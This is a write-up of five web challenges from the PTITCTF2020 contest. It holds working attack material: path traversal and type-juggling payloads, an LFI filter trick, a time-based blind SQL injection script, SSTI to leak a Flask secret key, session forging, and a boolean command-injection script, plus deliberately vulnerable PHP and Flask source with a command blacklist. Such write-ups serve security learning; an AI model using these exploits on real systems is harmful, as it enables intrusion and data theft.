[PTITCTF2020] Web Exploitation Writeups

The contest takes place for 6 hours. I solved 2/5 challenges on time (Welcome and Login Login Login). This write-up had just finished after that. Thanks PTIT University for hosting this context. Thanks nhthongDfVn for great challenges and your enthusiasm!

Challenges

References

Welcome

Pieces of flag hidden on the website.

  • robots.txt: PTITCTF{h0c_v
  • js/free.js: 13n_h04n6_614_
  • index.html: x1n_ch40}

Flag: PTITCTF{h0c_v13n_h04n6_614_x1n_ch40}

Login Login Login

Go to register.php?view_source to get source.

<?php

if (isset($_GET['view_source'])) {
    highlight_file(__FILE__);
    die();
}
include_once 'config.php';

session_start();

function get_absolute_path($path)
{
    $unix = substr($path, 0, 1) === '/';

    $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
    $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
    $absolutes = array();
    foreach ($parts as $part) {
        if ('.' == $part) continue;
        if ('..' == $part) {
            array_pop($absolutes);
        } else {
            $absolutes[] = $part;
        }
    }

    $final_path = implode(DIRECTORY_SEPARATOR, $absolutes);
    if ($unix) {
        $final_path = '/' . $final_path;
    }

    return $final_path;
}

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    if ($_GET['action'] == 'register' && isset($_POST['username']) && isset($_POST['password']) && isset($_POST['password']) && !empty($_POST['confirm-password']) && !empty(trim($_POST['username']))) {
        $username = trim($_POST['username']);
        $username = str_replace(array('../', '..\\'), '', $username); // ^_^

        $password = $_POST['password'];
        $user_dirs = glob(getcwd() . '/users/*');
        foreach ($user_dirs as $user_dir) {
            $user_dir_name = basename($user_dir);
            if ($user_dir_name == $username) {
                $error = 'The username already exists!';
                break;
            }
        }

        if (!isset($error)) {
            $user_dir = get_absolute_path(getcwd() . '/users/' . $username);
            $base_dir = get_absolute_path(getcwd() . '/users');
            if (strpos($user_dir, $base_dir) === false) {  // \~(*o*)~/
                $error = 'Invalid username!';
            } else {
                if (!isset($error)) {
                    if (!file_exists($user_dir) && !mkdir($user_dir, 0755, true)) {
                        $error = 'Cannot create directory!';
                    } else {
                        $password_file = $user_dir . '/' . PASSWORD_FILENAME;
                        if (file_put_contents($password_file, md5($password)) !== false) {

                            $_SESSION['username'] = $username;

                            header("Location: index.php");
                            exit();
                        } else {
                            $error = 'Cannot write file!';
                        }
                    }
                }
            }
        }

    } else if ($_GET['action'] == 'login' && isset($_POST['username']) && isset($_POST['password'])) {
        $username = $_POST['username'];
        $password = $_POST['password'];

        $user_dir = get_absolute_path(getcwd() . '/users/' . $username);
        if (strpos($user_dir, getcwd()) == -1) {
            $errror = 'Invalid username';
        }

        if (!isset($error)) {
            $password_file = $user_dir . '/' . PASSWORD_FILENAME;
            if (file_exists($password_file)) {
                $password_md5 = file_get_contents($password_file);
                if (md5($password) == $password_md5) {
                    if ($username == 'admin') {
                        $new_password = md5($password . SECRET);
                        file_put_contents($password_file, $new_password);
                    }

                    $_SESSION['username'] = $username;

                    header('Location: index.php');
                    die();
                } else {
                    $error = 'Invalid Credentials!';
                }
            } else {
                $error = 'Invalid Credentials!';
            }
        }
    }
} else {
    if (isset($_GET['action']) && $_GET['action'] == 'logout') {
        unset($_SESSION['username']);

        header('Location: auth.php');
        die();
    }
}
?>

Website will store authentication data in folder users/{username}/PASSWORD_FILENAME.

The vulnerable code is here:

$username = str_replace(array('../', '..\\'), '', $username); // ^_^

We can put simple payload to attack path traversal, make your user authenticate locates at same file as admin. Sign up with info:

username = "....//users/admin"; // --> "../user/admin"
password = "whatever";

Login and get flag.

CMP Login

This is multiple tasks challenge.

Task 1: User-Agent

The first task is a little tricky for me ...

You have to access the server with User Agent: Impostor. But it's still not enough, looks like the server check string with:

...
if (!strpos($_SERVER['HTTP_USER_AGENT'],'Impostor'))
...

If Impostor is start of User-Agent string, strpos will return 0, and you still will not pass.
The User-Agent must be in /.+/Imposter format.

User-Agent: foo Imposter

Then, we will come to the core part at 962d13fd2a584598d5f68c4408169e22.php. Source code is also available here.

Task 2: Type Juggling

$secret="<fake fake>";
session_start();
$data="";
if (!isset($_SESSION['data'])) { 
    $data="";
    $_SESSION['data']=""; 
}
else{
    $data= $_SESSION['data'];
}

if (isset($_GET['I']) && !empty($_GET['I'])){
    if ($_GET['I']==="Crewmates"){
        if (isset($_GET['user_data']) && !empty($_GET['user_data'])){
            if (!preg_match("/user_data/is",$_SERVER['QUERY_STRING'])){
                $shavalue=sha1($_GET['user_data']);
                $_SESSION['data']=$shavalue.$secret;
                if ($shavalue==$data){
                    header("Location: <next page>");
                }
                else{
                    echo "Close";
                }
            }
            else die ("Don't hack");
        }
        }
    else {
        header("Location: <current url>");
    }
}

The first part, to use user_data parameter, we have to bypass preg_match():

...
if (!preg_match("/user_data/is",$_SERVER['QUERY_STRING']));
...

It's can be done by URL encode.

?user%5fdata[]={input_data}

The second part is checking hash value:

if($shavalue==$data)

Summary the source code, we have:

$_SESSION['data'] = $shavalue.$secret;
$data= $_SESSION['data'];
// BUT
$data !== $shavalue.$secret;

What's wrong?

This part of code:

if (!isset($_SESSION['data'])) { 
    $data="";
    $_SESSION['data']=""; 
}
else{
    $data= $_SESSION['data'];
}

Will make the value of $data always empty in the first request:

$data = "";

How about $shavalue?

In PHP, sha1(array()) === NULL:

pic1

And

pic3

So, when $data === "" and $shavalue === NULL, we're going to pass this part. The payload:

curl -b "SESSIONID=" "http://server.com/962d13fd2a584598d5f68c4408169e22.php?I=Crewmates&user%5fdata[]="

It leads us to 21232f297a57a5a743894a0e4a801fc3.php.

Task 3: CMP Login

The clue in the login page:

StRcMp CoMpAnY very sercure

strcmp() is vulnerable. So the final payload is:

curl -X POST -d "username=admin&pass[]=ab" http://localhost:8003/21232f297a57a5a743894a0e4a801fc3.php

Flag: PTITCTF{PasswordIsVeryStrongSoThatYouCanNotGuessOrBypass}

PISBLOG

Task 1: Local File Inclusion

Endpoint policy.php?q=/etc/passwd has Local File Inclusion. But the server not allow base64 string in query. So, we can not use ?q=php://filter/convert.base64-encode/resource=index.php to read files content. Rot 13 php://filter/string.rot13/resource=index.php is not work too, because it's not convert content not show up.

But, i found convert.iconv.*.

?q=php://filter/convert.iconv.utf-16le.utf-8/resource=index.php

It's read data in utf-16el encode, and output in utf-8.

pic4

Convert it back.:

pic5

And thanks my teamate @catafact for this script:

data = "3f3c 6870 ... 3e6c 0a0d"
S = data.replace(' ', '')
print(S)

for i in range(0, len(S), 4):
    x = int(S[i+2:i+4], 16)
    print(chr(x), end='')
    x = int(S[i:i+2], 16)
    print(chr(x), end='')

Now, we have source:

<?php
        ini_set('display_errors',0);
        session_start();
        include_once("db.php");
        if ($db->connect_errno){
        die('Could not connect');
    }
    function isExist($email){
        global $db;
        $query="select * from info where email='".$email."'";
        $result=$db->query($query);
        if (@$result->num_rows > 0) return True; else return False;
    }
    function filter($name){
        if (preg_match ("/drop|delete|update|insert|into|file_get_contents|load_file|outfile|column|ascii|ord|sleep|benchmark /is",$name))
                return False;
        return True;
    }

    if (isset($_POST['name'])||!empty($_POST['name'])||isset($_POST['email'])||!empty($_POST['email'])){
        $name= $_POST['name'];
        $email=$_POST['email'];
        if (filter($name)===True&&filter($email)===True){
                if (isExist($email)===False){
                $query = $db->prepare("INSERT INTO info (name,email) VALUES (?, ?)");
                        $query->bind_param("ss", $name, $email);
                        $query->execute();
                }
        }
        echo "Success";
    }
?>

The isExist() function is vulnerable to SQL Injection in email parameter. But there are some filters:

function filter($name){
    if (preg_match ("/drop|delete|update|insert|into|file_get_contents|load_file|outfile|column|ascii|ord|sleep|benchmark /is",$name))
            return False;
    return True;
}

When looking closer, we can see that the filter matches benchmark (include space) not benchmark pattern. The rest is to write the time-based script to extract the data.

Extract table name

QUERY = "' UNION SELECT null,null,(IF(BINARY SUBSTRING((SELECT table_name FROM information_schema.tables where TABLE_SCHEMA = database() and table_name != 'info'),{pos},1) = BINARY '{char}',BENCHMARK(5000000,ENCODE('MSG','by seconds')),null)) FROM info; -- -"
-> Table: get_point

Extract flag

Because column is in black list, we have to extract data without column name. Follow hint to @tsu blog
The flag index is 2 in get_point table:
QUERY = "' UNION SELECT null,null,(IF(SUBSTRING((SELECT col_1 from (SELECT 1 as col_1 union select * from get_point limit 1 offset 2) x_table),{pos},1) = BINARY '{char}',BENCHMARK(5000000,ENCODE('MSG','by seconds')),null)) FROM info; -- -"

Full script

import string, requests

# Extract table name
QUERY = "' UNION SELECT null,null,(IF(BINARY SUBSTRING((SELECT table_name FROM information_schema.tables where TABLE_SCHEMA = database() and table_name != 'info'),{pos},1) = BINARY '{char}',BENCHMARK(5000000,ENCODE('MSG','by seconds')),null)) FROM info; -- -"
# Extract flag
QUERY = "' UNION SELECT null,null,(IF(SUBSTRING((SELECT col_1 from (SELECT 1 as col_1 union select * from get_point limit 1 offset 2) x_table),{pos},1) = BINARY '{char}',BENCHMARK(5000000,ENCODE('MSG','by seconds')),null)) FROM info; -- -"
URL = "http://localhost:8007/index.php"
data = {
    "name": "whatever",
    "email": QUERY
}
list_chars = string.printable.replace('%','')
output = ""
pos = 0
while True:
    pos += 1
    for char in list_chars:
        data = {
            "name": "whatever",
            "email": QUERY.format(char=char, pos=str(pos))
        }
        request = requests.post(URL,data=data)
        if (request.elapsed.total_seconds() > 0.5): # True
            output += char
            print("[*] Output: " + output + "...")
            break

# PTITCTF{u_Kn0w_7ha7_15_5ql_71M3ba53d_1nJ3c710n}

pic6

Flag: # PTITCTF{u_Kn0w_7ha7_15_5ql_71M3ba53d_1nJ3c710n}

Covid

When buying CV n send to 1407, we will get source code:

from flask import Flask, render_template,json,request,render_template_string,redirect,url_for
import subprocess
import shlex
import urllib.parse
import re
from flask import Flask, session
app= Flask(__name__)
app.config['SECRET_KEY'] = '<Some string like 1337>'
flag="<Some string like PTITCTF>"
with open("opt.txt", "r") as file:
    opt_key = file.read().rstrip()

def validate_cookie():
	username = session.get('username')
	money = session.get('money')
	if username and money:
		return True
	else:
		return False

@app.route('/news', methods =['POST','GET'])
def news():
	if not validate_cookie():
		return render_template('info.html')
	return render_template('news.html')

@app.route('/us', methods =['POST','GET'])
def us():
	return render_template('us.html')

@app.route('/', methods =['POST','GET'])
def index():
	if request.method=='POST':
		name=request.form.get('name') or None
		print (name)
		if name==None or len(name)<4 or len(name)>15:
			return render_template('info.html',err="Tên phải từ 5-10 kí tự")
		session['username'] = name
		session['money'] = 2000
		return redirect(url_for('news'))
	else:
		return render_template('info.html')
@app.route('/store', methods =['POST','GET'])
def store():
	if not validate_cookie():
		return render_template('info.html')
	if request.method=='POST':
		category=request.form.get('category') or None
		number= request.form.get('number') or None
		if number:
			if number.isdigit()==False:
				return render_template('index.html', err="Chỉ nhập số")
		else:
			return render_template('index.html', err="Không hợp lệ")
		number= int(number)
		if category:
			if len(category)>15:
				return render_template('index.html',err="Không hợp lệ")
			if filter(category):
				if execute(category, number):
					if category=="cv":
						return render_template('index.html',err="Thank you!! Here is your award:")
					else:
						return render_template('index.html',err="Mua hàng thành công")
				else:
					return render_template('index.html',err="Bạn không đủ tiền để mua")
			else:
				return show_error(category)
		else:
			return render_template('index.html')
	else:
		return render_template('index.html')

@app.route('/flag', methods =['POST','GET'])
def show_flag():
	if not validate_cookie():
		return render_template('info.html')
	if request.method=='POST':
		otp= request.form.get('otp') or None
		if otp and len(otp)>5:
			if execute('flag',1) and otp==opt_key:
				return render_template('flag.html', flag=flag)
			return render_template('flag.html', flag="Giao dịch thất bại, ban mat 10000$")
		return render_template('flag.html', flag="Mã OTP không hợp lệ")
	return render_template('flag.html', flag='')
def check_command(s):
    return any(i.isdigit() for i in s)
def filter(command):
	blacklist=['curl','rm','mkdir','nano','vi','vim','head','tail','less','more','"',"\\",';','wget','\'','`','[',']','|','&','#','<','>']
	command=command.lower()
	if check_command(command):
		return False
	for item in blacklist:
		if item in command:
			return False
	return True
def execute(category,number):
    command="cat shop/"+category+".txt" 
    okay=False
    p = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
    for line in p.stdout.readlines():
       	if line.isdigit():
       		num=int(line)
       		total= num*number
       		your_money=session.get('money')
       		if total<=your_money:
       			session['money']=your_money-total
       			okay=True
       	print(line)
    retval = p.wait()
    return okay


def show_error(keyword):
	string ='''<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Forbiden</title>
<h1>Forbiden</h1>
<p> Your word: {} is in our blacklist</p>
'''.format(keyword)
	return render_template_string(string)
@app.errorhandler(404)
def not_found(error):
    keyword='url'
    string ='''<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Not Found</title>
<h1>Not Found</h1>
'''.format(keyword)
    return render_template_string(string), 404

if __name__=="__main__":
	app.run(host='0.0.0.0', port=8010,debug=False)

In show_error(keyword) function have Server Side Template Injection (SSIJ), check which payload:

category={{7*7}}&number=1

Screenshot-from-2020-10-05-22-47-39

Because the category is limited to 15 characters, it is hard to RCE. But we can leak some important info by {{config}}:

Screenshot-from-2020-10-05-22-50-54

Character ' at the end of payload is to match filter() function. It triggers SSTJ and show data up.

Now we have Flask SECRET_KEY='Sorry_but_i_can_not_give_you_flag'. Re build app with this SECRET_KEY and we can sign valid session with arbitrary data:

from flask import Flask, session, render_template_string
app= Flask(__name__)
app.config['SECRET_KEY'] = 'Sorry_but_i_can_not_give_you_flag'

@app.route('/', methods =['POST','GET'])
def index():
    session['username'] = "CustomUser"
    session['money'] = 100000000000000000000000000
    return render_template_string("<h1>Hello</h1>")

if __name__=="__main__":
	app.run(host='0.0.0.0', port=8011,debug=True)

Go to 0.0.0.0:8011 and get session: session=.eJyrVsrNz0utVLIyNMAJdJRKi1OL8hJzU5WslBKTEotTUpRqAaX6D10.X3tCxw.X9cG5T7JYjLtFFY_jVvdOY3MKdQ (money=100000000000000000000000000)

The last task is leak opt_key. I have a idea. The execute() function is vulnerable to Path Traversal, so if input category=../opt&number=1, amount we lose will be the content of opt.txt file. Unfortunately, opt_key seems like not just contain digits, so it can not pass line.isdigit() check.

After hours of trying, i gave up. I pm the author - nhthongDfVn for help. He sent me the picture:

unknown

Wow, I already knew it is vulnerable to Command Injection by $(), but 15 characters limitation got me stuck. Boolean-based is familiar to SQL Injection, but it's mindset can reuse in this concept.

With payload at endpoint /store:

category=$(grep ^a o*)*

If grep matches file content /^a/ of any file name /o*/ (seems like only opt.txt here), command will become:

cat shop/{file_content}*.txt

The output of it is error. (cat: ... No such file or directory) and responses fail purchase - "Bạn không đủ tiền để mua"

Else if grep not matches, command will become:

cat shop/*.txt

You will get a successful purchase response and lose money equal to entire value of the items (no problem, we're rich!).

Now, we can detect boolean value. Time to write script.

import string, requests

CMD = "$(grep {opt} o*)*"
URL = "http://localhost:8010/store"
cookies = {'session': '.eJyrVsrNz0utVLIyNMAJdJRKi1OL8hJzU5WslBKTEotTUpRqAaX6D10.X3tCxw.X9cG5T7JYjLtFFY_jVvdOY3MKdQ'}

opt_key = "^" # Check from beginning
while True:
    for char in string.ascii_letters[::]:
        tem_opt_key = opt_key+char
        data = {
            "category": CMD.format(opt=tem_opt_key[-3:]),
            "number": "1"
        }
        request = requests.post(URL,data=data,cookies=cookies)
        if ("Bạn không đủ tiền để mua" in request.text): # True
            opt_key += char
            print("[+] Opt_key: " + opt_key[1:] + "...")
            break
    else:
        print('[*] Done! opt_key: ' + opt_key[1:])
        break

ezgif.com-gif-maker-1-

Buy flag with otp vankientuyetmat.

Flag: PTITCTF{Fl4Sk_IS_N07_s3CuR3}

References

DoubleVKay
DoubleVKay
Web Pentester

Web Pentester

Next
Previous

Related